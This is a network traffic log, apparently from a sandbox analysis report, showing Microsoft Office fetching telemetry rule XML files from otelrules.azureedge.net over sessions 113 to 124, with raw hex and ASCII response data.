2024-12-08 09:48:15 UTC	1354	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S="Medium" /> <F T="2"> <O

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.8	49843	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 09:48:15 UTC	192	OUT	GET /rules/rule703351v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 09:48:15 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 09:48:15 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCDD6400" x-ms-request-id: 94f5badb-301e-0000-7603-48eecc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T094815Z-r1cf579d7782ctslhC1EWRfbrw00000005gg000000001cq0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 09:48:15 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703351" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.8	49841	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 09:48:15 UTC	192	OUT	GET /rules/rule702801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 09:48:15 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 09:48:15 GMT Content-Type: text/xml Content-Length: 1391 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF58DC7E" x-ms-request-id: deed8991-301e-0033-2005-48fa9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T094815Z-r1cf579d778mvsklhC1EWRkavg00000005a00000000016b8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 09:48:15 UTC	1391	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.8	49844	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 09:48:15 UTC	192	OUT	GET /rules/rule703350v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 09:48:15 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 09:48:15 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDF1E2608" x-ms-request-id: 5f90aa43-701e-0097-6403-48b8c1000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T094815Z-r1cf579d778z4wflhC1EWRa3h0000000053g000000001bhn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 09:48:15 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 63 72 69 70 74 4c 61 62 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703350" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenScriptLab" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.8	49848	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 09:48:17 UTC	192	OUT	GET /rules/rule701800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 09:48:18 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 09:48:17 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BEA414B16" x-ms-request-id: 22947e51-b01e-0021-7203-48cab7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T094817Z-r1cf579d778z4wflhC1EWRa3h00000000520000000001qtt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 09:48:18 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 73 6f 75 72 63 65 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenResources" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.8	49847	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 09:48:17 UTC	192	OUT	GET /rules/rule701801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 09:48:18 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 09:48:17 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC2EEE03" x-ms-request-id: 9122e5c7-f01e-003c-5114-498cf0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T094817Z-r1cf579d778zvkpnhC1EWRv23g00000005900000000023wg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 09:48:18 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.8	49846	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 09:48:17 UTC	192	OUT	GET /rules/rule703500v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 09:48:18 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 09:48:17 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF497570" x-ms-request-id: 2d97fd60-e01e-000c-7b06-488e36000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T094817Z-r1cf579d77867vg8hC1EWR8knc00000004w0000000001mmt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 09:48:18 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 6e 64 62 6f 78 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703500" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSandbox" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.8	49845	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 09:48:17 UTC	192	OUT	GET /rules/rule703501v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 09:48:18 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 09:48:17 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:59 GMT ETag: "0x8DC582BE8C605FF" x-ms-request-id: a762f06e-601e-0084-7004-486b3f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T094817Z-r1cf579d778xr2r4hC1EWRqvfs00000004y000000000409t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 09:48:18 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703501" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSa

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.8	49849	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 09:48:17 UTC	192	OUT	GET /rules/rule701051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 09:48:18 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 09:48:18 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:47 GMT ETag: "0x8DC582BE1CC18CD" x-ms-request-id: 1f576be4-501e-008f-5405-489054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T094818Z-r1cf579d778dfdgnhC1EWRd3w000000004x0000000000d1n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 09:48:18 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRe

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.8	49852	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 09:48:19 UTC	192	OUT	GET /rules/rule701050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 09:48:20 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 09:48:20 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB256F43" x-ms-request-id: a681d1f9-301e-0020-1b07-486299000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T094820Z-r1cf579d778z4wflhC1EWRa3h00000000540000000000yzp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 09:48:20 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 6c 65 61 73 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRelease" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.8	49851	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 09:48:19 UTC	192	OUT	GET /rules/rule702750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 09:48:20 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 09:48:20 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE5B7B174" x-ms-request-id: 7b8d486f-101e-0017-1506-4847c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T094820Z-r1cf579d778qlpkrhC1EWRpfc800000005k0000000004myn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 09:48:20 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 75 62 6c 69 73 68 65 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPublisher" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.8	49853	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 09:48:19 UTC	192	OUT	GET /rules/rule702301v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 09:48:20 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 09:48:20 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:00 GMT ETag: "0x8DC582BE976026E" x-ms-request-id: 1c872757-c01e-0034-1307-482af6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T094820Z-r1cf579d778lntp7hC1EWR9gg400000004e0000000002hqz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 09:48:20 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702301" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPr

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.8	49850	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 09:48:19 UTC	192	OUT	GET /rules/rule702751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
